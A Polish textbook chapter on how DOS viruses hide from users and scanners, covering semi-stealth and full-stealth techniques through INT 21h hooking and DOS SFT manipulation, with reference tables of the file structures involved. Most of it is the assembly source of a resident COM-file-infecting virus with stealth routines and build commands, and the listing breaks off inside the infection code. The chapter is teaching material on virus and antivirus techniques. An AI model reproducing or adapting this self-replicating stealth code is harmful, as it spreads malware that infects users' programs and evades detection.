CATEGORII DOCUMENTE |
Bulgara | Ceha slovaca | Croata | Engleza | Estona | Finlandeza | Franceza |
Germana | Italiana | Letona | Lituaniana | Maghiara | Olandeza | Poloneza |
Sarba | Slovena | Spaniola | Suedeza | Turca | Ucraineana |
DOCUMENTE SIMILARE |
|
Ukrywanie się w systemie operacyjnym
Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich.
7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej.
7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
Adres |
Zawartość |
numer napędu (0=domyślny, 1=A, B=2,); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB |
|
8 bajtów nazwy pliku |
|
09-0B |
3 bajty rozszerzenia pliku |
0C-0D |
numer aktualnego bloku |
0E-0F |
długość logicznego rekordu |
długość pliku |
|
data ostatniej modyfikacji pliku |
|
czas ostatniej modyfikacji pliku |
|
ilość SFT dla pliku |
|
atrybuty, znaczenie bitów bity 7-6 00 - SHARE.EXE niezaładowany, plik dyskowy - SHARE.EXE niezaładowany, sterownik - SHARE.EXE załadowany, plik zdalny - SHARE.EXE załadowany, plik dyskowy lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów |
|
1A-1F |
zawartość zależna od pola 19, bity 7-6 wartość 11 1A-1B numer pierwszej JAP pliku 1C-1D określa numer rekordu w dostępie dzielonym 1E atrybuty pliku 1F nie używane wartość 1A-1B uchwyt w sieci 1C-1F ID w sieci wartość 1A-1D wskaźnik do nagfówka sterownika 1E-1F nie używane wartość 00 1A bajt informacyjny bit 7: atrybut tytko do odczytu w SFT bit 6: atrybut archiwalności w SFT bity 5-0: wyższe bity numeru sektora 1B-1C numer pierwszej JAP pliku 1D-1F niższe bity sektora zawierającego adres w katalogu 1F ilość pozycji katalogu w sektorze |
bieżący rekord |
|
numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana |
Struktura bloku opisu pliku FCB (rozszerzonego)
Adres |
Zawartość |
wartość OFFh oznacza blok rozszerzony |
|
zarezerwowane |
|
atrybuty pliku |
|
07-2B |
zwykły blok opisu FCB (patrz poprzednia tabela) |
Struktura pola opisu pozycji katalogu
Adres |
Zawartość |
nazwa pliku |
|
08-0A |
rozszerzenie pliku |
0B |
atrybuty pliku |
0C-15 |
zarezerwowane |
czas ostatniej modyfikacji pliku |
|
data ostatniej modyfikacji pliku |
|
1A-1B |
numer pierwszej JAP |
1C-1F |
długość pliku |
7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków
nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu
funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze
DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż
podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam
sposób oszukiwania systemu.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
Adres |
Zawartość |
znaczenie bitów: bity 6-0 numer napędu bit 7 ustawiony, oznacza plik zdalny |
|
01-0B |
szablon poszukiwanych pozycji katalogu |
0C |
atrybuty poszukiwanej pozycji |
0D-0E |
numer wejścia w katalogu |
0F-10 |
numer JAP katalogu nadrzędnego |
zarezerwowane |
|
atrybut znalezionej pozycji katalogu |
|
czas ostatniej modyfikacji znalezionej pozycji katalogu |
|
data ostatniej modyfikacji znalezionej pozycji katalogu |
|
1A-1D |
długość znalezionej pozycji katalogu |
1E-2A |
nazwa i rozszerzenie pliku |
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
Adres |
Zawartość |
atrybuty pliku bity 0-6 standardowe atrybuty plików DOS bit 8 plik tymczasowy (temporary) |
|
04-0B |
czas i data utworzenia pliku |
0C-13 |
czas i data ostatniego dostępu do pliku |
14-1B |
czas i data ostatniej modyfikacji pliku |
1C-1F |
długość pliku (bardziej znaczące 32 bity) |
długość pliku (mniej znaczące 32 bity) |
|
24-2B |
zarezerwowane |
2C-12F |
260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ) |
130-13D |
14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ) |
7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; we adres tablicy JFT zawieraj╣cej numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjΩ
MOV BL,ES:[DI] ; we numer tablicy SFT
MOV AX,1216h ; we adres tablicy SFT na podstawie numeru w BL
INT 2Fh ; wywo│aj funkcjΩ ES:DI wskazuje na tablicΩ SFT pliku
Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej:
Format podtablicy SFT
Adres |
Zawartość |
Wskaźnik do następnej podtablicy |
|
N - liczba plików w podtablicy |
|
Opis pliku nr 1 w podtablicy - patrz następna tablica |
|
Opis pliku nr N w podtablicy |
Opis pliku zawarty w tablicy SFT
Adres |
Zawartość |
Liczba łączników do pliku |
|
Tryb |
|
Atrybut pliku |
|
Informacja o pliku |
|
07-0A |
Wskaźnik do nagłówka programu obsługi lub do bloku DPB |
0B-0C |
Pierwsza JAP pliku |
0D-0E |
Czas ostatniej modyfikacji pliku |
0F-11 |
Data ostatniej modyfikacji pliku |
Rozmiar pliku |
|
Aktualna pozycja wskaźnika odczytu/zapisu pliku |
|
19-1A |
Względny numer JAP |
1B-1E |
Położenie elementu katalogu opisującego plik |
20-2A |
Nazwa i rozszerzenie pliku |
2B-2E |
Wskaźnik do poprzedniego elementu SFT (pole programu SHARE) |
2F-30 |
Numer komputera w sieci (pole programu SHARE) |
Adres właściciela pliku (jego PSP) |
|
Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE) |
|
Numer JAP |
|
37-3A |
Wskaźnik do IFS pliku lub 00000000h |
Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;
;
Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;
;
Informacje Techniczne ;
;
Wirus oszukuje uzytkownika w nastepujacy sposob : ;
_ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
pomoca polecenia DIR ;
_ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
pomoca nakladek typu Dos Navigator, Norton Commander ;
_ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;
(plik jest sztucznie 'ucinany' w tablicy SFT ) ;
;
Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;
plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;
programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;
informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;
zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;
iz wirus jest juz zainstalowany w pamieci. ;
;
; Kompilacja : ;
TASM KOMB_STE.ASM ;
TLINK /t KOMB_STE.OB J ;
;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h
Haslo = 0BACAh ; do sprawdzenia czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ;
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywana przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc struktury
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej pozycji
DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej pozycji
DIRDate dw ? ; data znalezionej pozycji
DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej pozycji
DIRStruc ends
SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o urzadzeniu
SFTDevPtr dd ? ; adres do naglowka sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej pozycji
SFTPos dd ? ; wskaznik odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku
SFTStruc ends
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; zapytaj uzytkownika, czy chce
Call DrukSI ; zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiowac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy
sub ax,0Fh ; DS=adres bloku-10h
mov ds,ax ; sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; wyswietl komunikat o
pop ds ; instalacji w pamieci
lea di,TeZainstalowany ; i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; przywroc 3 poczatkowe bajty
mov ds:[100h],al ; programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; dla bezpieczenstwa
xor bx,bx ; lepiej wyzerowac rejestry
xor cx,cx ; robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; odpowiedz rezydujacego
xchg al,ah ; - wirusa (na pytanie czy jest
iret ; / w pamieci)
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany
cmp ah,11h ; czy funkcje przeszukiwania ?
je STEALTH_11_12 ; katalogu uzywane przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba
cmp ah,4Eh ; czy funkcje przeszukiwania ?
je STEALTH_4E_4F ; katalogu uzywane przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba
cmp ah,3Dh
je STEALTH_3D
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad
pushf ; zachowaj wartosci rejestrow
push es ax bx di ; / zmienionych przez wywolanie
mov bx,ax ; BX zawiera uchwyt (numer) pliku
mov ax,1220h ; wez adres tablicy JFT
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
mov bl,es:[di] ; wez numer tablicy SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany
cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_3D_Powrot:
pop di bx ax es ; przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_3D_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
; ES:DI wskazuje na tablicα SFT pliku
STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad
pushf ; zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?
jne ZwyklyFCB ; NIE - zwykly FCB
add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje na zwykly FCB
ZwyklyFCB:
cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa
; TAK - moze miec wirusa
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_11_12_Powrot:
pop bx ax es ; przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_11_12_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad
pushf ; zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_4E_4F_Powrot:
pop bx ax es ; przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_4E_4F_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
call UstawNowe24
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot
xor cx,cx ; zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX = starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; NIE - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja ZamknijPlik ; NIE - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; zapytaj uzytkownika
Call Druk ; czy chce zainfekowac
; plik
